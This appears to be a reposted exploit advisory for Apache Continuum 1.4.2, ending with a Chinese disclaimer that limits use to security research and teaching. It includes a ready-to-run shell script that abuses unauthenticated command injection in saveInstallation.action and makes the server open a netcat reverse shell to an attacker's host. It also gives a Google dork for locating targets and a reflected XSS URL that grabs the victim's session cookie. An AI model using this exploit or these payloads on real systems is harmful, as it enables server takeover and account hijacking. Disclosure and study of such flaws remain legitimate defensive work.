# Exploit Title: Unauthenticated command injection - Apache Continuum# Google Dork: inurl::8080/continuum/# Date: 04/06/2016# Exploit Author: David Shanahan (@cyberpunksec)# Contact: http://www.procheckup.com/# Vendor Homepage: https://continuum.apache.org/# Software Link: https://continuum.apache.org/download.cgi# Version: 1.4.2# Tested on: Debian--- Description ---Apache Continuum is a continuous integration server for building Java projects https://continuum.apache.org/ProCheckUp has discovered that Apache Continuum is vulnerable to an unauthenticated command injection attack and reflected XSS.1) Command injectionVulnerable URL - http://127.0.0.1:8080/continuum/saveInstallation.actionVulnerable Parameter - installation.varValue#!/bin/sh if [ $# -eq 0 ] then echo "$0 <rhost> <rport> <lhost> <lport>" echo "Remember to set up your netcat listener" exit 1 fi cmd="/`nc $3 $4 -e /bin/sh/`" echo "/n/t[ Apache Continuum <= v1.4.2 CMD Injection ]" echo "/t/t[ Procheckup - David Shanahan ]/n" curl http://$1:$2/continuum/saveInstallation.action --data "installation.name=blah&installation.type=jdk&installation.varValue=$cmd"
2) Reflected XSSThe cross site scripting attack works against authenticated users only. An example attack would be to send an authenticated user (let's say the admin) the malicious URL.If the victim is logged in and accesses the URL, the attacker could steal the victim's session cookie and impersonate them.Vulnerable URL - http://127.0.0.1:8080/continuum/security/useredit_confirmAdminPassword.action?userAdminPassword=&username=guest&user.username=guest<script>alert(document.cookie)</script>&user.fullName=Guest&[email protected]&user.password=password&user.confirmPassword=password&user.timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdminPassword=Submit&cancel=Cancel<http://127.0.0.1:8080/continuum/security/useredit_confirmAdminPassword.action?userAdminPassword=&username=guest&user.username=guest%3cscript%3ealert(document.cookie)%3c/script%3e&user.fullName=Guest&[email protected]&user.password=password&user.confirmPassword=password&user.timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdminPassword=Submit&cancel=Cancel>
Fix:The Apache Continuum project is no longer maintained. Removal of the software is recommended.http://www.procheckup.com/免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
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